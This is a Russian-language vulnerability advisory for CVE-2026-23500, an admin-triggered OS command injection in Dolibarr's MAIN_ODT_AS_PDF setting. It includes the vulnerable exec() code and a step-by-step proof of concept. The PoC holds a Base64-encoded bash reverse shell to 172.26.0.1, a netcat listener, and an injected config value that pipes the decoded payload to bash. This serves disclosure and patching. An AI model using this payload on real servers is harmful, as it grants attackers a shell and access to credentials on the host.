CVE-2026-23500: Внедрение команд ОС (RCE) через конфигурацию MAIN_ODT_AS_PDF в Dolibarr

Обзор

Затронутые продукты

• Dolibarr/dolibarr (версии: <= 22.0.4)
• Исправлено в: 23.0

Классификация CWE

• CWE-78: Некорректная нейтрализация специальных элементов, используемых в команде ОС ('Внедрение команд ОС')

Подробности

Краткое описание

Аутентифицированный администратор может выполнить произвольные команды операционной системы, внедрив вредоносную нагрузку в конфигурационную константу MAIN_ODT_AS_PDF. Эта уязвимость существует, поскольку приложение не проверяет и не экранирует должным образом путь команды перед передачей его в функцию exec() в процессе преобразования ODT в PDF.

Подробности

Уязвимость находится в htdocs/includes/odtphp/odf.php. Когда система пытается преобразовать документ ODT в PDF (например, в коммерческих предложениях, счетах), она формирует команду оболочки с использованием глобального параметра MAIN_ODT_AS_PDF.

Фрагмент кода (htdocs/includes/odtphp/odf.php, примерно строка 930):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

Хотя имя файла $name очищается с помощью escapeshellcmd(), переменная конфигурации MAIN_ODT_AS_PDF извлекается непосредственно из базы данных и добавляется в начало строки. Злоумышленник с правами администратора может установить эту переменную, включив разделитель команд (например, ;) с последующими произвольными командами.

PoC

Предварительные требования:

1. Войдите в систему как администратор.
2. Убедитесь, что модуль "Коммерческие предложения" включен и в его настройках активированы "ODT шаблоны".

Шаги для воспроизведения (Reverse Shell):

1. Запустите netcat-слушатель на машине атакующего (IP: 172.26.0.1, Порт: 4445):

nc -lvnp 4445

2. Подготовьте нагрузку. Чтобы избежать проблем со специальными символами (например, & или >), которые могут быть экранированы веб-приложением или оболочкой, закодируйте команду reverse shell в Base64:

   root@kitploit:~

   # Команда: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
   echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
   # Вывод: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
   

3. Перейдите в Главная -> Настройка -> Другие настройки.

4. Добавьте или измените константу MAIN_ODT_AS_PDF, указав следующую внедряемую нагрузку:

   root@kitploit:~

   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
   

   (Пояснение: jodconverter удовлетворяет начальной проверке, ; действует как разделитель команд, а конвейер декодирует и выполняет нагрузку Base64).

   

5. Перейдите в Коммерция -> Новое предложение, создайте черновик, выберите ODT шаблон (например, generic_proposal_odt) и нажмите .

6. Проверьте netcat-слушатель. Установится соединение, предоставляющее оболочку на сервере:

Воздействие

Удаленное выполнение кода (RCE). Злоумышленник, получивший доступ к учетной записи администратора (или злонамеренный администратор), может выполнять произвольные команды на базовом сервере с правами пользователя веб-сервера (обычно www-data). Это позволяет:

• Читать конфиденциальные файлы конфигурации (учетные данные базы данных).
• Изменять код приложения.
• Полную компрометацию системы в зависимости от конфигурации сервера (например, побег из Docker, pivoting).

Благодарности

Сообщил Łukasz Rybak

Ссылки

• https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
• https://nvd.nist.gov/vuln/detail/CVE-2026-23500

Отказ от ответственности

Этот CVE был ответственно раскрыт в соответствии с практиками скоординированного раскрытия уязвимостей. Предоставленная информация предназначена только для образовательных и защитных целей.